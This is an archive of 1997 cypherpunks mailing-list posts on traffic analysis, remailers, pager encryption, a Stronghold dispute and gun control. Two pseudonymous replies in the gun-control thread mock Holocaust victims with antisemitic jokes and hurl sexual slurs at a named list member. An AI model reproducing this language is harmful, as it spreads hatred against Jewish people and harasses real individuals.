Europe has been in a perpetual state of war for the past 2,000 years where
countless tens of millions of people have been slaughtered. Chances are
very high that you will face an advisatory with a gun, the fact that he
collects a paycheck from a government wont make you any less dead from his
bullets.

You must be getting some good drugs over there to conjure up this fantasy
land where everyone loves one another and would never think of killing
someone because it sure as hell doesn't exist in Europe.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 2 Oct 1997 02:35:49 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Traffic Analysis and Cover Traffic
In-Reply-To: <v03102803b05829bdf10b@[207.167.93.63]>
Message-ID: <199710011820.OAA21380@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102803b05829bdf10b@[207.167.93.63]>, on 10/01/97 
   at 09, Tim May <tcmay@got.net> said:

>At 2:03 AM -0700 10/1/97, Robert A. Costner wrote:

>>Let me get this straight.  You are suggesting that anyone who wishes to be
>>anonymous should send a continuous 24 hour stream of low bandwidth data to
>>a central point in an effort to help keep anyone from knowing that they
>>wish to be anonymous.

>He was describing how a constant-traffic pipe defeats "sudden burst of
>activity" types of traffic analysis. (As, for example, when nightime
>activity in the White House is signalled by deliveries of lots of
>pizzas.)

In Ian Slater's book Showdown such "burst activity" was put to use. In
order to find where the rebel headquarters was located rummors were spread
that the rebel leader was dead. Soon afterwards there was an increase in
radio trafic from the headquarters in an attempt to kill the rummors
thereby giving away their location as the "sudden burst of activity" stood
out like a sore thumb over the normal radio traffic.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 2 Oct 1997 01:39:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
Message-ID: <84fa661e1a86318df409114a4763e5a5@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>On Wed, 1 Oct 1997, Anonymous wrote:
>> Using a remailer doesn't hide the fact that the sender is using a
>> remailer.  An eavesdropper who monitors incoming messages to the
>> remailers can easily learn who is using them.  A constant bandwidth
>> connection will at least disguise *when* the messages are sent.
>
>Using a constant bandwidth connection just to the remailer network is
>a waste. Better set up such a connection to a Pipe-net or Onion
>Router network. The you can use the pipe for other services then
>mail. A welcome side benefit would be that this conceals the use of
>"mail" remailers

Agreed, mostly.  But your solution would be more expensive.  "Constant
bandwidth" does not mean you have to soak up every available bit, it
just means you your usage should be consistent and look the same from
the outside whether you are sending things or not.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 2 Oct 1997 04:51:10 +0800
To: cypherpunks@toad.com
Subject: Re: Secure HTTP servers.
In-Reply-To: <slrn634tsa.23j.lutz@taranis.iks-jena.de>
Message-ID: <ksowDe3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



lutz@taranis.iks-jena.de (Lutz Donnerhacke) writes:

> 
> * Dr.Dimitri Vulis KOTM wrote:
> >Lutz Donnerhacke <lutz@iks-jena.de> writes:
> >> Secure HTTP ist the HTTP protocol based on SSL sockets. You may choose any
> >> server you like or which fits your needs (database connections, ...). Ther
> >> are not so many cryptographic failtures a developer can do. Keep you hands
> >> away from servers only supporting exportable protocols.
> 
> >Are the posters in this thread unwilling to criticize C2Net's StrongHold
> >because they're afraid to get obnoxious threatening letters from Sameer
> >Parekh's shysters?
> 
> Why should we deal with Stronghold while other alteratives work fine?
> 


Good question, especially when other vendors don't seek to suppress
the discussion of theirt products.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 2 Oct 1997 01:34:12 +0800
To: cypherpunks@cyberpass.net
Subject: None
Message-ID: <17450f976975427f087e75255043e2b0@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dimitri Vulis KOTM writes:

> Are the posters in this thread unwilling to criticize C2Net's StrongHold
> because they're afraid to get obnoxious threatening letters from Sameer
> Parekh's shysters?

Those who are newcomers to the list should know that Vulis has never
presented any evidence substantiating his vague claims that Stronghold 
is insecure or has backdoors (or whatever the claims were).  Vulis is
conducting a personal vendetta against one of C2Net's staff members and 
anyone who happened to be or become associated with him.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 2 Oct 1997 02:37:29 +0800
To: dcsb@ai.mit.edu
Subject: An e$Lab competitor?
Message-ID: <v0311074cb058415be33b@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



Now I know how the Wright Brothers felt when they found out about Langley
and Bell...

;-).

Cheers,
Bob Hettinga

--- begin forwarded text


Mime-Version: 1.0
Date: Wed, 1 Oct 1997 09:37:44 -0700
From: jmuller@brobeck.com (John D. Muller)
Subject: An e$Lab competitor?
To: e$lab@vmeng.com
Sender: <e$lab@vmeng.com>
Precedence: Bulk
List-Software: LetterRip 2.0.1 by Fog City Software, Inc.
List-Subscribe: <mailto:requests@vmeng.com?subject=subscribe%20e$lab>
List-Unsubscribe: <mailto:requests@vmeng.com?subject=unsubscribe%20e$lab>

     From MecklerMedia's http:/www.internetnews.com

     E-Transaction Lab for Financial Firms Opens in NYC

     [October 1] New York City-based Transaction Information Systems (TIS),
     an integration and information technology consulting company, opened
     FLITE <http://www.flitelab.com>, an open software factory dedicated to
     building electronic commerce solutions for the financial industry.

     In addition to TIS, the founder of FLITE, there are approximately 20
     member firms, including Digital Equipment Corp., ad agency Foote, Cone
     and Belding, IBM, Lotus Development Corp., Reuters, Sybase, and Visa.

     FLITE is physically located in the former home of the historic New
     York Lawyers' Club at 115 Broadway in downtown Manhattan. FLITE allows
     sales, marketing, and information technology executives to interact
     with a variety of online trading systems, 401(k) management products,
     three-dimensional visualizations of financial data, and other
     electronic commerce and interactive customer service solutions.

     "This one-of-a-kind software factory enables financial institutions to
     increase sales and market reach via the rapid deployment of their
     financial products through multiple distribution vehicles, including
     the Internet, kiosks, display cellular phones and TV sets," said Bob
     Gold, President of TIS.

     "In one place, they can experience and visualize more electronic
     commerce and customer service applications for the financial industry
     than anywhere else. FLITE's design process and electronic commerce
     tools allow us to roll out transactional Web sites in half the time
     and at half the cost of the industry average."

     FLITE is a working lab that financial institutions can use to produce
     innovative products. Marketing/sales executives use the facility to
     learn to think interactively and develop Internet strategies, build
     product prototypes rapidly and conduct focus groups.

     Technology staffs can use the facility for jointly developing
     interactive products with FLITE engineers, use FLITE's specialty rooms
     (user interface optimization, 3-D visualization and quality assurance
     testing), and get hands-on training and knowledge transfer.

     As a factory, FLITE has specialized machinery and tools for building
     transactional Web sites and delivering products through interactive
     distribution channels, TIS said. FLITE has a variety of hardware
     servers, workstations, laptops, kiosks, televisions, display phones,
     touchscreen monitors, and financial trading equipment.

     "FLITE combines the promise of new technology with the city's
     financial heritage," said Gold. "Unlike other companies who have put
     research and development facilities in the suburbs, TIS believes that
     its downtown location in the heart of Wall Street attracts the top
     talent in the industry and makes it accessible to financial industry
     executives."

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Thu, 2 Oct 1997 03:25:05 +0800
To: stewarts@ix.netcom.com (Bill Stewart)
Subject: Re: Encrypting Pagers is Easy!   [Overview, technical tradeoffs,  crypto]
In-Reply-To: <3.0.3.32.19971001000255.006abcec@popd.ix.netcom.com>
Message-ID: <199710011846.OAA25691@pig.die.com>
MIME-Version: 1.0
Content-Type: text



Bill Stewart wrote :

> One of the articles on the White House Pager Hack quoted a government official
> saying that encrypting pagers would be complicated and difficult.

> 
> 1)Digital PCS, in TDMA, GSM1900, and CDMA, though US coverage isn't complete 
>   (as of May 97, AT&T had service in 40% of the US land area, 80% population, 
>   and the GSM1900 players are expecting wide coverage later this year

	I would expect this kind of paging to be encrypted under the
same CAVE or A5 encryption as encrypts the rest of the call setup, but
don't have the IS standards handy here to check.  At the very least it
would be much more complex to intercept than regular beeper paging
because of the much more complex signal multiplexing and modulation. 
Regular POCSAG paging is simple FSK, receivable on an umodified scanner,
whilst CDMA and TDMA tranmissions require special demodulator hardware
and DSP software not available at Radio Shack (except as modifiable
phones).   But more significant, like REFLEX, the system generally knows
where a specific mobile phone is located and sends the paging only to
that cell site whereas regional and national paging systems used with
conventional beepers send the message to tens to hundreds of
transmitters scattered all over the place making it possible to
intercept messages at locations far removed from the intended recipiant
(continent wide in the case of the satellite feeds for the paging
transmitters used by many regional and national paging carriers).

> 
> 2)Motorola's extremely cool PageWriter 2000 is a ~2"x2" programmable beeper
>   with keyboard, 160x240 screen, crypto, operating system, and infrared.
>   http://www.mot.com/MIMS/MSPG/Products/Two-way/pagewriter/
>   says it uses the Flex Operating System and ReFLEX 2-way paging;
>   the person who showed me the beta version said OS9 and GSM.
>   I'd guess that Flex is OS9 with bells and whistles added, and that
>   the pager's CPU is a 68000-family chip, and that either he's wrong about
>   GSM or there's a second flavor coming out that does GSM.
>   In any case, it's user-programmable, and Motorola has crypto support.

	Flex and Reflex are physical, link and transport level protocols
for sending paging data over the rf link.  They are not an operating
system.  Motorola does offer implementations of these protocols
integrated with a real time OS, but properly they are link protocols and
not an OS.  Much of the common carrier paging infrastructure in the US
is being converted to flex on the existing VHF and UHF narrow band
channels, and clearly Motorola is aiming at that market.  Whether Moto
put their flex stack on top of OS-9 I don't offhand know.  GSM is a
completely different link protocol that has nothing to do with flex at
all - so a flex pager would not be able compatible with GSM (although
some DSP based dual mode wireless hardware exists that will do various
combinations of otherwise incompatible air interfaces). Flex is m-ary
FSK (4 level FSK) on narrow band carriers, and GSM is TDMA BPSK on much
wider carriers BTW.. Motorola has aimed their paging applications
software at the 68HC11 family in the past, but may well be upgrading to
32 bit stuff...


> 
> 3)If you insist on pager service that's not part of the cellphone or beeper
>   you were carrying already, or want wider coverage, it's still not very hard,
>   and it can be done with or without the paging service's cooperation.  
> 
> 4)PCMCIA cards in your PDA can get alpha pager, CDPD, ARDIS, RadioMail, etc.
> 

	There are lots of cards that will allow PDAs to receive existing
common carrier flex and POCSAG paging streams - and flex explicitly is
capable of forwarding binary data unaltered making it pretty trivial to
implement end to end unescrowed secure messaging over the existing
VHF/UHF paging infrastructure. That nobody has is a tribute to the FUD
factor...

> Making money at it may still be hard, since the government interference
> fragments on the market and raises costs, but that's a separate problem, 
> and if you can piggyback on existing developments like PCS and CDPD, 
> it's a lot easier.   
> 
> Technology tradeoffs
> --------------------
> 
	much good stuff elided...


-- 
	Dave Emery N1PRE,  die@die.com  DIE Consulting, Weston, Mass. 
PGP fingerprint = 2047/4D7B08D1 DE 6E E1 CC 1F 1D 96 E2  5D 27 BD B0 24 88 C3 18





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Small Cajones Remailer <scr@dev.null>
Date: Thu, 2 Oct 1997 05:35:11 +0800
To: Alex Le Heux <alexlh@yourchoice.nl>
Subject: Show me an example of Dictators using Gun Control / Re: "Show me an example of terrorists using the Internet or crypto"
In-Reply-To: <Mutt.19971001191622.alexlh@sarah.yc>
Message-ID: <3432B7D8.516F@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Alex Le Heux wrote:
> In article <34302d8d.8163438@newshost.cyberramp.net> you wrote:
> : Banning guns because criminals might use them equates to banning
> : encryption because criminals might use it.  And if you really believe
> : that both should be banned, then perhaps you should be banned from
> : using oxygen, because criminals breath it too.
 
> You people just don't get it do you? A gun has one purpose: To kill. Just like
> any other tool, a gun, if it is available _will_ be used at some point.

  A remailer has one purpose: To spam. Just like any other tool,
a remailer, if it is available *_*will*_* be used at some point.
 
> So making sure there are lots of guns around only serves to make a lot of
> people very dead. This is a Bad Thing.

  Making sure there are lots of remailers around only serves to make
a lot of people very spammed. This is a **_**Bad Thing**_**.
 
> Gun control laws are not the issue. It's a matter of mentality. In Europe,
> where we have rather strict gun control laws, and have had them for a long
> time a decent human being will not even think of shooting someone else.

  That's right. Since Hitler instituted gun control in Europe, the
decent
human beings in Europe gas people en masse.

> In the
> US, where guns are tradition and part of the American way, many people would
> not think twice before shooting someone. The result of this is that the
> number of people getting killed by guns is enourmous, be they criminals,
> little kids, old grannies, or presidents.

  In Europe, where ovens are a tradition, and part of the European way,
many people would not think twice before gassing someone. The result of
this is that the number of people getting killed by ovens is enourmous,
be they little Jews, old Jews, or Jew lovers.
 
> Wake up and smell the coffee, dude. If you have lots of guns around, you're
> gonna end up with lots of people getting shot.

  Not many Europeans complained when the American gun-loving people came
to visit and a lot of Nazis got shot.
  Wake up and smell the burning Jews, dude.

> /// I dabble in techno-house and sometimes,
> /// I do that badass hip-hop thang...
> /// But the F U N K gets me every time!

 /// I dabble in techno-arms and sometimes,
 /// I do that badass boom-bang thang...
 /// And I get the F U C K every time!

Axel Le Hoir





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Small Cajones Remailer <scr@dev.null>
Date: Thu, 2 Oct 1997 05:55:00 +0800
To: Cynthia Brown <cynthb@sonetis.com>
Subject: Show me an example of Canadians stopping criminals with guns / Re: "Show me an example of terrorists using the Internet or crypto"
In-Reply-To: <Pine.BSD/.3.91.971001154053.7185A-100000@mrburns.iosphere.net>
Message-ID: <3432BDD0.232@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Cynthia Brown wrote:
> Canada may be regulated to death according to most libertarians, but I for
> one like it that way.  I can walk alone and unarmed at night in Ottawa,
> Toronto, etc. without fearing for my life.

  I can walk alone and armed anywhere I damn please, without fearing
for my life.

>  Can a female resident of
> Washington or New York say the same?  Our schools do not have metal detectors
> at the entrances because they are not needed.

  Without fascist gun control measures in place, Canada had never had
a big problem with gun-related violence.
  The fact that the Canadian government has gone to such great lengths
to 'solve' a problem which does not exist, speaks volumes.
 
> IMNSHO the best way to fight crime is not with bigger guns than the "bad
> guys", but with better social programs such as universal health care, and
> improved day care so single parents can show their kids what a productive
> lifestyle looks like.  This takes longer than blowing the brains out of some
> teenager that feels his only path to a better life is through crime, and it
> doesn't give the same adrenalin rush.  However, it works at the source of
> crime, and not the consequences.

  This is precisely the reason that governments are pushing for stronger
and stronger gun control laws.
  The government has no interest in removing the source of crime. Crime-
-violent crime, in particular--is the government's best friend. By using
gun control to disarm *only* the law-abiding citizens, they put the 
safety of the citizens in the hands of their own LEA's. And by failing
to
provide safety for the law-abiding citizens, they force more and more
of them to break the law in order to protect themself.

> Cynthia, unrepentant bleeding-heart liberal

  Suzie, unrepentant bleeding-pussy hoir.

>         Klein bottle for rent; enquire within.

         Calvin Kleins for rent; enquire within.

Suzy Creamcheese





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Janzen <janzen@idacom.hp.com>
Date: Thu, 2 Oct 1997 06:41:57 +0800
To: cypherpunks@cyberpass.net
Subject: new in EFC's media archives - Mondex, crypto (fwd)
Message-ID: <9710012220.AA05578@sabel.idacom.hp.com>
MIME-Version: 1.0
Content-Type: text/plain




Electronic Frontier Canada's David Jones (djones@insight.dcss.McMaster.CA)
posted the following to the EFC mailing list:

-------------------------------------------------------------------------------

New in EFC's media archives:

1. Plastic treasure ... not so smart after all
      http://www.efc.ca/pages/media/guardian.24sep97.html

   This article reports that a team in the Netherlands
   made a "successful attack" on a Mondex chip (Hitachi H8/3101)
   by activating a test mode in which the chip dumps its
   contents to a serial port.  John Beric, security manager
   for Mondex simply says "I have never SEEN a report saying
   they have broken Mondex".  (Is this plausible deniability?? ;-)

   The article also makes mention of EFC getting hassled by
   the National Bank of New Zealand over a leaked memo.

   In the mean time, Mondex is trying to ramp up deployment of
   its new chip, the Hitachi H8/3109, which (for the first time apparently)
   implements public key crypto.


2. If cops can read E-mail, so can the bad guys
      http://www.efc.ca/pages/media/gazette.24sep97.html

   Some coverage of the "crypto" issue in the context of
   a major international privacy conference held in Montreal
   last week.  EFC scored some coverage for its position
   statement on crypto: http://www.efc.ca/pages/crypto/policy.html
   including a quote in favour of strong crypto:

      "There is a far greater risk to individuals, businesses, and the
      government if we are unable to effectively prevent criminals from
      gaining unauthorized access to our records and communications."

-------------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Thu, 2 Oct 1997 02:57:35 +0800
To: alexlh@yourchoice.nl
Subject: Re: "Show me an example of terrorists using the Internet or crypto"
In-Reply-To: <Mutt.19971001201336.alexlh@sarah.yc>
Message-ID: <199710011924.PAA15341@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Alex Le Heux writes:

>                                                                 And anyway,
> "to defend yourself in a war" is not one of the usual arguments against gun
> control. 

Actually, most of us prefer the `defend yourself against the government'
argument around here.  That's one of the reasons why the right to arms
is enshrined in our constitution.


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 2 Oct 1997 09:01:23 +0800
To: cypherpunks@toad.com
Subject: Re: None
In-Reply-To: <17450f976975427f087e75255043e2b0@anon.efga.org>
Message-ID: <4swwDe1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous <anon@anon.efga.org> writes:

> 
> Dr.Dimitri Vulis KOTM writes:
> 
> > Are the posters in this thread unwilling to criticize C2Net's StrongHold
> > because they're afraid to get obnoxious threatening letters from Sameer
> > Parekh's shysters?
> 
> Those who are newcomers to the list should know that Vulis has never
> presented any evidence substantiating his vague claims that Stronghold 
> is insecure or has backdoors (or whatever the claims were).  Vulis is
> conducting a personal vendetta against one of C2Net's staff members and 
> anyone who happened to be or become associated with him.
> 
> 

Nor do I have to present any evidence.  I'm not the one selling StrongHold.
I have received several threatening communications from C2Net's lawyers, 
which were discussed at length on this list.  To avoid unpleasant disputes
I agreed not to disseminate my opinions about StrongHold.
Please keep this in mind if you consider buying it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Thu, 2 Oct 1997 00:37:09 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Secure HTTP servers.
In-Reply-To: <LaBwDe3w165w@bwalk.dm.com>
Message-ID: <slrn634tsa.23j.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* Dr.Dimitri Vulis KOTM wrote:
>Lutz Donnerhacke <lutz@iks-jena.de> writes:
>> Secure HTTP ist the HTTP protocol based on SSL sockets. You may choose any
>> server you like or which fits your needs (database connections, ...). There
>> are not so many cryptographic failtures a developer can do. Keep you hands
>> away from servers only supporting exportable protocols.

>Are the posters in this thread unwilling to criticize C2Net's StrongHold
>because they're afraid to get obnoxious threatening letters from Sameer
>Parekh's shysters?

Why should we deal with Stronghold while other alteratives work fine?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "contest" <setzer@wl.net>
Date: Thu, 2 Oct 1997 05:48:40 +0800
To: <cypherpunks@toad.com>
Subject: Please Remove
Message-ID: <19971001212226535.AAA164@TECH01.wl.net>
MIME-Version: 1.0
Content-Type: text/plain



Please remove setzer@wl.net from this mailing list





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cynthia Brown <cynthb@sonetis.com>
Date: Thu, 2 Oct 1997 04:38:13 +0800
To: Alex Le Heux <alexlh@yourchoice.nl>
Subject: Re: "Show me an example of terrorists using the Internet or crypto"
In-Reply-To: <Mutt.19971001191622.alexlh@sarah.yc>
Message-ID: <Pine.BSD/.3.91.971001154053.7185A-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 1 Oct 1997, Alex Le Heux wrote:

> You people just don't get it do you? A gun has one purpose: To kill. Just like
> any other tool, a gun, if it is available _will_ be used at some point.
> 
> So making sure there are lots of guns around only serves to make a lot of
> people very dead. This is a Bad Thing.
> 
> Gun control laws are not the issue. It's a matter of mentality. In Europe,
> where we have rather strict guncontrol laws, and have had them for a long
> time a decent human being will not even think of shooting someone else. In the
> US, where guns are tradition and part of the American way, many people would
> not think twice before shooting someone. The result of this is that the
> number of people getting killed by guns is enourmous, be they criminals,
> little kids, old grannies, or presidents.
> 
> This sucks.

I agree wholeheartedly.  Uncontrolled guns do not solve problems, they 
create them.  If most households have at least one firearm, it makes it 
that much easier for a criminal to obtain one by stealing yours while you 
are at work.

Canada may be regulated to death according to most libertarians, but I for
one like it that way.  I can walk alone and unarmed at night in Ottawa,
Toronto, etc. without fearing for my life.  Can a female resident of
Washington or New York say the same?  Our schools do not have metal detectors
at the entrances because they are not needed. 

IMNSHO the best way to fight crime is not with bigger guns than the "bad
guys", but with better social programs such as universal health care, and
improved day care so single parents can show their kids what a productive
lifestyle looks like.  This takes longer than blowing the brains out of some
teenager that feels his only path to a better life is through crime, and it
doesn't give the same adrenalin rush.  However, it works at the source of
crime, and not the consequences. 

Cynthia, unrepentant bleeding-heart liberal
===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 2 Oct 1997 07:57:16 +0800
To: cypherpunks@cyberpass.net
Subject: Mr. Policeman is Your Friend
In-Reply-To: <9710012220.AA05578@sabel.idacom.hp.com>
Message-ID: <v03102805b0588cff4305@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:20 PM -0700 10/1/97, Martin Janzen wrote:
>Electronic Frontier Canada's David Jones (djones@insight.dcss.McMaster.CA)
>posted the following to the EFC mailing list:

>2. If cops can read E-mail, so can the bad guys
>      http://www.efc.ca/pages/media/gazette.24sep97.html

Let's not forget that cops are often the bad guys.

And I don't mean this in a macho, off-the-pigs way. I mean that throughout
history the "cops" are those who have enforced the laws and whims of
tyrants, who have arrested and tortured and executed dissidents and
nonconformists of all flavors, and who were the "King's men" in the times
of the Founders.

Even in more recent decades in the U.S., don't forget it was "cops" who
harassed civil rights workers, who broke up perfectly legal strikes, who
arrested and imprisoned Eugene Debs for speaking out against the draft in
particular and a foolish war, WW 1, in general, and so on. One need only
look to J. Edgar Hoover and his police state measures.

(In fact, the very term "police state" tells us all we need to know about
whether or not "Mr. Policeman is Your Friend" is always, or even most of
the time, true.)

And with full awareness that I am invoking Godwin's Law, the "cops" in
Europe in the 1933-45 period were the enforcers of Hitler's policies.

Here's a list of some folks throughout history and in various regimes who
would likely have reason not to want to escrow their keys with the local
police:

Jews, Catholics, Protestants, atheists, heretics, schismatics,  heathens,
poets, authors, Scharansky, Solzhenitsyn, refuseniks, Chinese dissidents,
students in front of tanks, Branch Davidians, Scientologists, Jesus,
Gandhi, Nelson Mandela, African National Congress, UNITA, Thomas Jefferson,
Patrick Henry, colonial rebels, patriots, Tories, Basque separatists,
Algerian separatists, secessionists, abolitionists, John Brown, draft
opponents, communists, capitalists, imperialist lackeys, anarchists,
Charlie Chaplin, Galileo, Joan of Arc,, Martin Luther,  Martin Luther King,
Malcolm X, Stokely Carmichael, civil rights workers, Margaret Sanger, birth
control activists, abortionists, anti-abortionists, Michael Milken, Robert
Vesco, Marc Rich, Nixon's Enemies, Hoover's enemies, Clinton's enemies,
Republicans, Democrate, anarchists, labor organizers, pornographers,
readers of "Playboy," viewers of images of women whose faces are uncovered,
Amateur Action, Jock Sturges, violators of the CDA, alt.fan.karla-homulka
readers,  Internet Casino customers, Scientologists, Rosicrucians,
royalists, Jacobins, Hemlock Society activists, Jimmy Hoffa, John L. Lewis,
Cesar Chavez, opponents of United Fruit, land reformers, Simon Bolivar,
Robin Hood, Dennis Banks, American Indian Movement, Jack Anderson, Daniel
Ellsberg, peace activists, Father Berrigan, Mormons, Joseph Smith,
missionaries, Greenpeace, Animal Liberation Front, gypsies, diplomats, U.N.
ambassadors, Randy Weaver, David Koresh, Ayotollah Khomeini, John Gotti,
Papists, Ulstermen, IRA, Shining Path, militia members, tax protestors,
Hindus, Sikhs, Lech Walesa, Polish labor movement, freedom fighters,
revolutionaries, Ben Franklin, Thomas Paine, and "suspects"

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 2 Oct 1997 05:53:43 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Why? (fwd)
Message-ID: <199710012159.QAA20763@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 30 Sep 1997 22:54:15 -0700
> From: Bill Frantz <frantz@netcom.com>
> Subject: Re: Why? (fwd)
> 
> At 7:49 PM -0700 9/30/97, Jim Choate wrote:
> >My original question still stands, why would I or any other party choose to
> >use an anonymous remailer for anything other than the original 3 items I
> >mentioned previously.
> 
> Black Unicorn uses a nym to express opinions he expects his coworkers and
> acquaintances would not like.  Anonymous remailers can be used for the same
> purpose.

Ok, I believe that falls under the 'bitching' category.

> I have heard of people's posts being brought up in employment
> interviews.  A rational person might want to express controversial opinions
> anonymously.

And your point is? My personal opinions have nothing to do with my
professional career and yours shouldn't either. I would love to have a
company bring up my past posts, makes it easy to decide if I want to work
there or not.

If you want to work for such a company and you know their views and your
views are in conflict then I would say you need a shrink not an anon.
remailer.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 2 Oct 1997 05:34:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: "Show me an example of terrorists using the Internet or crypto"
Message-ID: <6489040e71db5edc2ab5e653cb709620@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Alex Le Heux wrote:
>Maybe you haven't noticed, but seen on 2000 year scales, the entire
>world is constantly in a state of war. Europe isn't special in that
>regard.

I guess the conclusion, then, is that gun control is bad for the whole
world, not just Europe.

>And even if I had my AR15 then, it wouldn't help me a lot against
>guided missiles and mortar fire.

It's harder to police a hostile population which is well armed.

>And anyway, "to defend yourself in a war" is not one of the usual
>arguments against gun control.

The popularity of an argument can be independent of its worth.

"To defend yourself in general" is commonly used.  War, oppressive
government, and political turbulence are the most likely situations in
which people need their weapons, even in the United States.

>> You must be getting some good drugs over there to conjure up this
>> fantasy land where everyone loves one another and would never think
>> of killing someone because it sure as hell doesn't exist in Europe.
>
>Well, we're a lot closer to it over here than you guys are over
>there.

You mean like the former Yugoslavia?  Or do you mean like the parts of
Europe where people are not slaughtering each other at the moment?

I have to confess that I am surprised at the level of resentment among
the members of various Europeans countries feel towards other European
countries.  For example, the Germans don't like the Dutch because when
they visit they are treated badly by, among others, the police.  The
Dutch don't like the Germans because, well, they got to know them a
little too well in the 1940s and they are nursing the grudge.

With that sort of situation, anything can happen and it can happen
quickly, even if things seem mellow right now.  And these little
resentments and jealousies are felt between far more groups in Europe
than just between the Dutchies and the Germans.

Let's also take a look at the Dutch performance during their
occupation.  While there certainly were many courageous Dutch people
who helped refugees (at great personal risk, to say the least), and
there were many courageous Dutch people who were in the resistance,
there were also many Dutch people who did not perform so well.  Not
only were a large number of Jewish people turned in by Dutch
informers, but there were even Dutch SS units.

